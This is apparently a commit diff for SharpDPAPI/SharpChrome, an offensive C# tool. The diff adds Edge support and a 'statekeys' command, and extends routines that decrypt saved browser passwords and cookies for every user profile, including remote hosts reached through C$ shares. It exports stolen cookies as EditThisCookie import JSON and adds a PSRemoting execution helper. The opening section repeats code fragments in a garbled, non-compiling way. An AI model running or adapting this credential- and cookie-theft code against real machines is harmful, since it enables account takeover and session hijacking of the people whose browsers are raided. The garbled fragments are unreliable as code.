||||
|
||||
var commandName = args.Length != 0 ? args[0] : "";
|
||||
|
||||
TextWriter realStdOut = Console.Out;
|
||||
TextWriter realStdErr = Console.Error;
|
||||
TextWriter stdOutWriter = new StringWriter();
|
||||
TextWriter stdErrWriter = new StringWriter();
|
||||
Console.SetOut(stdOutWriter);
|
||||
Console.SetError(stdErrWriter);
|
||||
|
||||
MainExecute(commandName, parsed.Arguments);
|
||||
|
||||
Console.Out.Flush();
|
||||
Console.Error.Flush();
|
||||
Console.SetOut(realStdOut);
|
||||
Console.SetError(realStdErr);
|
||||
|
||||
string output = "";
|
||||
output += stdOutWriter.ToString();
|
||||
output += stdErrWriter.ToString();
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
static void Main(string[] args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Info.Logo();
|
||||
|
||||
// try to parse the command line arguments, show usage on failure and then bail
|
||||
var parsed = ArgumentParser.Parse(args);
|
||||
if (parsed.ParsedOk == false)
|
||||
{
|
||||
Info.ShowLogo();
|
||||
Info.ShowUsage();
|
||||
return;
|
||||
}
|
||||
|
||||
var commandName = args.Length != 0 ? args[0] : "";
|
||||
|
||||
if (parsed.Arguments.ContainsKey("/consoleoutfile"))
|
||||
{
|
||||
// redirect output to a file specified
|
||||
FileExecute(commandName, parsed.Arguments);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Try to execute the command using the arguments passed in
|
||||
|
||||
var commandName = args.Length != 0 ? args[0] : "";
|
||||
|
||||
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments);
|
||||
|
||||
// show the usage if no commands were found for the command name
|
||||
if (commandFound == false)
|
||||
Info.ShowUsage();
|
||||
MainExecute(commandName, parsed.Arguments);
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
|
||||
@@ -81,6 +81,7 @@
|
||||
<Compile Include="Commands\Cookies.cs" />
|
||||
<Compile Include="Commands\ICommand.cs" />
|
||||
<Compile Include="Commands\Logins.cs" />
|
||||
<Compile Include="Commands\Statekeys.cs" />
|
||||
<Compile Include="Domain\ArgumentParser.cs" />
|
||||
<Compile Include="Domain\ArgumentParserResult.cs" />
|
||||
<Compile Include="Domain\CommandCollection.cs" />
|
||||
|
||||
+195
-49
@@ -21,9 +21,15 @@ namespace SharpChrome
|
||||
|
||||
// approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project
|
||||
// but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp
|
||||
public static void TriageChromeLogins(Dictionary<string, string> MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false)
|
||||
public static void TriageChromeLogins(Dictionary<string, string> MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome")
|
||||
{
|
||||
// triage all Chrome 'Login Data' files we can reach
|
||||
// triage all Edge/Chrome 'Login Data' files we can reach
|
||||
|
||||
byte[] aesStateKey = null;
|
||||
if (!String.IsNullOrEmpty(stateKey))
|
||||
{
|
||||
aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
|
||||
}
|
||||
|
||||
if (!String.IsNullOrEmpty(computerName))
|
||||
{
|
||||
@@ -37,7 +43,7 @@ namespace SharpChrome
|
||||
|
||||
if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName)))
|
||||
{
|
||||
Console.WriteLine("[*] Triaging Chrome Logins for ALL users\r\n");
|
||||
Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
|
||||
|
||||
string userFolder = "";
|
||||
if (!String.IsNullOrEmpty(computerName))
|
||||
@@ -55,46 +61,74 @@ namespace SharpChrome
|
||||
{
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||
{
|
||||
string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir);
|
||||
var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
|
||||
var loginDataPath = "";
|
||||
var aesStateKeyPath = "";
|
||||
|
||||
if (File.Exists(aesStateKeyPath))
|
||||
if (browser.ToLower() == "chrome")
|
||||
{
|
||||
loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir);
|
||||
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
|
||||
}
|
||||
else if (browser.ToLower() == "edge")
|
||||
{
|
||||
loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", dir);
|
||||
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (File.Exists(aesStateKeyPath) && (aesStateKey == null))
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect);
|
||||
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect);
|
||||
}
|
||||
|
||||
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey);
|
||||
}
|
||||
else {
|
||||
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, null);
|
||||
}
|
||||
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// otherwise just triage the current user's credential folder
|
||||
Console.WriteLine("[*] Triaging Chrome Logins for current user\r\n");
|
||||
var loginDataPath = "";
|
||||
var aesStateKeyPath = "";
|
||||
|
||||
string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
if (File.Exists(aesStateKeyPath))
|
||||
if (browser.ToLower() == "chrome")
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect
|
||||
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey);
|
||||
loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
}
|
||||
else if (browser.ToLower() == "edge")
|
||||
{
|
||||
loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
}
|
||||
else
|
||||
{
|
||||
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, null);
|
||||
Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (File.Exists(aesStateKeyPath) && (aesStateKey == null))
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true);
|
||||
}
|
||||
|
||||
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey);
|
||||
}
|
||||
}
|
||||
|
||||
public static void TriageChromeCookies(Dictionary<string, string> MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false)
|
||||
public static void TriageChromeCookies(Dictionary<string, string> MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome")
|
||||
{
|
||||
// triage all Chrome Cookies we can reach
|
||||
// triage all Edge/Chrome Cookies we can reach
|
||||
|
||||
byte[] aesStateKey = null;
|
||||
if(!String.IsNullOrEmpty(stateKey)) {
|
||||
aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
|
||||
}
|
||||
|
||||
if (!String.IsNullOrEmpty(computerName))
|
||||
{
|
||||
@@ -108,7 +142,7 @@ namespace SharpChrome
|
||||
|
||||
if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName)))
|
||||
{
|
||||
Console.WriteLine("[*] Triaging Chrome Cookies for ALL users\r\n");
|
||||
Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
|
||||
|
||||
string userFolder = "";
|
||||
if (!String.IsNullOrEmpty(computerName))
|
||||
@@ -126,40 +160,151 @@ namespace SharpChrome
|
||||
{
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||
{
|
||||
string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir);
|
||||
var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
|
||||
var cookiePath = "";
|
||||
var aesStateKeyPath = "";
|
||||
|
||||
if (File.Exists(aesStateKeyPath))
|
||||
if (browser.ToLower() == "chrome")
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect);
|
||||
|
||||
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey);
|
||||
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir);
|
||||
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
|
||||
}
|
||||
else if (browser.ToLower() == "edge")
|
||||
{
|
||||
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", dir);
|
||||
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir);
|
||||
}
|
||||
else
|
||||
{
|
||||
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, null);
|
||||
Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (File.Exists(aesStateKeyPath) && (aesStateKey == null))
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect);
|
||||
}
|
||||
|
||||
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default
|
||||
Console.WriteLine("[*] Triaging Chrome Cookies for current user.\r\n");
|
||||
|
||||
string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
var cookiePath = "";
|
||||
var aesStateKeyPath = "";
|
||||
|
||||
if (File.Exists(aesStateKeyPath))
|
||||
if (browser.ToLower() == "chrome")
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect
|
||||
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey);
|
||||
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
}
|
||||
else if (browser.ToLower() == "edge")
|
||||
{
|
||||
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
}
|
||||
else
|
||||
{
|
||||
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, null);
|
||||
Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (File.Exists(aesStateKeyPath) && (aesStateKey == null))
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect
|
||||
}
|
||||
|
||||
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey);
|
||||
}
|
||||
}
|
||||
|
||||
public static void TriageStateKeys(Dictionary<string, string> MasterKeys, string computerName = "", bool unprotect = false, string target = "")
|
||||
{
|
||||
// triage all Chromium state keys we can reach
|
||||
|
||||
if (!String.IsNullOrEmpty(computerName))
|
||||
{
|
||||
// if we're triaging a remote computer, check connectivity first
|
||||
bool canAccess = SharpDPAPI.Helpers.TestRemote(computerName);
|
||||
if (!canAccess)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (!String.IsNullOrEmpty(target))
|
||||
{
|
||||
if (File.Exists(target))
|
||||
{
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Target '{0}' doesn't exist.", target);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName)))
|
||||
{
|
||||
Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n");
|
||||
|
||||
string userFolder = "";
|
||||
if (!String.IsNullOrEmpty(computerName))
|
||||
{
|
||||
userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName);
|
||||
}
|
||||
else
|
||||
{
|
||||
userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive"));
|
||||
}
|
||||
|
||||
string[] dirs = Directory.GetDirectories(userFolder);
|
||||
|
||||
foreach (string dir in dirs)
|
||||
{
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||
{
|
||||
var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
|
||||
var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir);
|
||||
|
||||
if (File.Exists(chromeAESStateKeyPath))
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect);
|
||||
}
|
||||
|
||||
if (File.Exists(edgeAESStateKeyPath))
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default
|
||||
Console.WriteLine("[*] Triaging Chromium state keys for current user.\r\n");
|
||||
|
||||
var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
if (File.Exists(chromeAESStateKeyPath))
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true); // force /unprotect
|
||||
}
|
||||
|
||||
if (File.Exists(edgeAESStateKeyPath))
|
||||
{
|
||||
// try to decrypt the new v80+ AES state file key, if it exists
|
||||
byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true); // force /unprotect
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -247,7 +392,7 @@ namespace SharpChrome
|
||||
{
|
||||
if (!someResults)
|
||||
{
|
||||
Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath);
|
||||
Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
|
||||
}
|
||||
someResults = true;
|
||||
Console.WriteLine("URL : {0} ({1})", row.column[0].Value, row.column[1].Value);
|
||||
@@ -261,7 +406,7 @@ namespace SharpChrome
|
||||
{
|
||||
if (!someResults)
|
||||
{
|
||||
Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath);
|
||||
Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
|
||||
Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password");
|
||||
}
|
||||
someResults = true;
|
||||
@@ -375,7 +520,8 @@ namespace SharpChrome
|
||||
|
||||
// check conditions that will determine whether we're displaying this cookie entry
|
||||
bool displayValue = false;
|
||||
if (showAll)
|
||||
|
||||
if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString()))
|
||||
{
|
||||
displayValue = true;
|
||||
}
|
||||
@@ -406,7 +552,7 @@ namespace SharpChrome
|
||||
{
|
||||
if (!someResults)
|
||||
{
|
||||
Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath);
|
||||
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
|
||||
}
|
||||
someResults = true;
|
||||
|
||||
@@ -419,8 +565,8 @@ namespace SharpChrome
|
||||
{
|
||||
if (!someResults)
|
||||
{
|
||||
Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath);
|
||||
Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath);
|
||||
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
|
||||
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath);
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -454,7 +600,7 @@ namespace SharpChrome
|
||||
// csv output
|
||||
if (!someResults)
|
||||
{
|
||||
Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath);
|
||||
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
|
||||
Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc");
|
||||
}
|
||||
someResults = true;
|
||||
@@ -471,7 +617,7 @@ namespace SharpChrome
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
catch {}
|
||||
}
|
||||
|
||||
if (displayFormat.Equals("json") && someResults)
|
||||
|
||||
@@ -4,7 +4,7 @@ namespace SharpDPAPI.Domain
|
||||
{
|
||||
public static class Info
|
||||
{
|
||||
public static void Logo()
|
||||
public static void ShowLogo()
|
||||
{
|
||||
Console.WriteLine("\r\n __ _ _ _ ___ ");
|
||||
Console.WriteLine(" (_ |_ _. ._ ._ | \\ |_) /\\ |_) | ");
|
||||
|
||||
@@ -4,6 +4,6 @@ namespace SharpDPAPI
|
||||
{
|
||||
public static class Version
|
||||
{
|
||||
public static string version = "1.8.0";
|
||||
public static string version = "1.9.0";
|
||||
}
|
||||
}
|
||||
+102
-17
@@ -1,36 +1,52 @@
|
||||
using SharpDPAPI.Domain;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace SharpDPAPI
|
||||
{
|
||||
class Program
|
||||
{
|
||||
public static void Main(string[] args)
|
||||
private static void FileExecute(string commandName, Dictionary<string, string> parsedArgs)
|
||||
{
|
||||
// execute w/ stdout/err redirected to a file
|
||||
|
||||
string file = parsedArgs["/consoleoutfile"];
|
||||
|
||||
TextWriter realStdOut = Console.Out;
|
||||
TextWriter realStdErr = Console.Error;
|
||||
|
||||
using (StreamWriter writer = new StreamWriter(file, true))
|
||||
{
|
||||
writer.AutoFlush = true;
|
||||
Console.SetOut(writer);
|
||||
Console.SetError(writer);
|
||||
|
||||
MainExecute(commandName, parsedArgs);
|
||||
|
||||
Console.Out.Flush();
|
||||
Console.Error.Flush();
|
||||
}
|
||||
Console.SetOut(realStdOut);
|
||||
Console.SetError(realStdErr);
|
||||
}
|
||||
|
||||
private static void MainExecute(string commandName, Dictionary<string, string> parsedArgs)
|
||||
{
|
||||
// main execution logic
|
||||
Stopwatch sw = new Stopwatch();
|
||||
sw.Start();
|
||||
|
||||
Info.ShowLogo();
|
||||
|
||||
try
|
||||
{
|
||||
Info.Logo();
|
||||
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs);
|
||||
|
||||
// try to parse the command line arguments, show usage on failure and then bail
|
||||
var parsed = ArgumentParser.Parse(args);
|
||||
if (parsed.ParsedOk == false)
|
||||
// show the usage if no commands were found for the command name
|
||||
if (commandFound == false)
|
||||
Info.ShowUsage();
|
||||
else
|
||||
{
|
||||
// Try to execute the command using the arguments passed in
|
||||
|
||||
var commandName = args.Length != 0 ? args[0] : "";
|
||||
|
||||
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments);
|
||||
|
||||
// show the usage if no commands were found for the command name
|
||||
if (commandFound == false)
|
||||
Info.ShowUsage();
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
@@ -41,5 +57,74 @@ namespace SharpDPAPI
|
||||
sw.Stop();
|
||||
Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed);
|
||||
}
|
||||
|
||||
public static string MainString(string command)
|
||||
{
|
||||
// helper that executes an input string command and returns results as a string
|
||||
// useful for PSRemoting execution
|
||||
|
||||
string[] args = command.Split();
|
||||
|
||||
var parsed = ArgumentParser.Parse(args);
|
||||
if (parsed.ParsedOk == false)
|
||||
{
|
||||
Info.ShowLogo();
|
||||
Info.ShowUsage();
|
||||
return "Error parsing arguments: ${command}";
|
||||
}
|
||||
|
||||
var commandName = args.Length != 0 ? args[0] : "";
|
||||
|
||||
TextWriter realStdOut = Console.Out;
|
||||
TextWriter realStdErr = Console.Error;
|
||||
TextWriter stdOutWriter = new StringWriter();
|
||||
TextWriter stdErrWriter = new StringWriter();
|
||||
Console.SetOut(stdOutWriter);
|
||||
Console.SetError(stdErrWriter);
|
||||
|
||||
MainExecute(commandName, parsed.Arguments);
|
||||
|
||||
Console.Out.Flush();
|
||||
Console.Error.Flush();
|
||||
Console.SetOut(realStdOut);
|
||||
Console.SetError(realStdErr);
|
||||
|
||||
string output = "";
|
||||
output += stdOutWriter.ToString();
|
||||
output += stdErrWriter.ToString();
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
static void Main(string[] args)
|
||||
{
|
||||
try
|
||||
{
|
||||
var parsed = ArgumentParser.Parse(args);
|
||||
if (parsed.ParsedOk == false)
|
||||
{
|
||||
Info.ShowLogo();
|
||||
Info.ShowUsage();
|
||||
return;
|
||||
}
|
||||
|
||||
var commandName = args.Length != 0 ? args[0] : "";
|
||||
|
||||
if (parsed.Arguments.ContainsKey("/consoleoutfile"))
|
||||
{
|
||||
// redirect output to a file specified
|
||||
FileExecute(commandName, parsed.Arguments);
|
||||
}
|
||||
else
|
||||
{
|
||||
MainExecute(commandName, parsed.Arguments);
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n");
|
||||
Console.WriteLine(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -126,6 +126,23 @@ namespace SharpDPAPI
|
||||
|
||||
return HexAsBytes;
|
||||
}
|
||||
|
||||
public static string Capitalize(string s)
|
||||
{
|
||||
if(s.Length == 1)
|
||||
{
|
||||
return char.ToUpper(s[0]) + "";
|
||||
}
|
||||
else if (s.Length > 1)
|
||||
{
|
||||
return char.ToUpper(s[0]) + s.Substring(1);
|
||||
}
|
||||
else
|
||||
{
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
public static bool TestRemote(string computerName)
|
||||
{
|
||||
try
|
||||
|
||||
@@ -91,7 +91,6 @@ namespace SharpDPAPI
|
||||
if (!String.IsNullOrEmpty(password))
|
||||
{
|
||||
plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes);
|
||||
mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
Reference in new issue
Block a user